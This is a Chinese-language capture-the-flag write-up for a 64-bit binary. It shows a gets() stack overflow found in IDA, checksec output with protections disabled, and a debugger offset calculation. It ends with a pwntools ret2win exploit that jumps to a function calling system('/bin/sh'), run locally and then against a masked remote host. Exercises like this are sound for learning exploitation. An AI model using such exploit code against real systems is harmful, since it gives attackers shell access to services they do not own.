1、下載附件後,運行是一個輸入程序,IDA分析main函數,gets可溢出。
F5僞代碼如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+1h] [rbp-Fh] puts("please input"); gets(&s, argv); puts(&s); puts("ok,bye!!!"); return 0; }
2、在附近還有個fun函數,存在shell入口。
int fun() { return system("/bin/sh"); }
3、checksec查看無保護。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
6、單步執行運行,輸入任意字符,執行完函數。ret位置在0x7fffffffe7a8,也就是需要替換的return address位置。
8、在IDA中找到fun函數的開始位置:0x401186。這個值用來替換棧中原本的內容0x7ffff7e15d0a
9、寫exp
from pwn import * r = process('./pwn1') offset = 0x7fffffffe7a8-0x7fffffffe791 fun = 0x0000000000401186 r.sendline('a'*offset+p64(fun).decode("iso-8859-1")) r.interactive()
在本地可以執行,但是目標替換爲遠端就不行了
from pwn import *
r = remote("X.X.X.X",29395)
offset = 0x7fffffffe7a8-0x7fffffffe791 fun = 0x0000000000401187 r.sendline('a'*offset+p64(fun).decode("iso-8859-1")) r.interactive()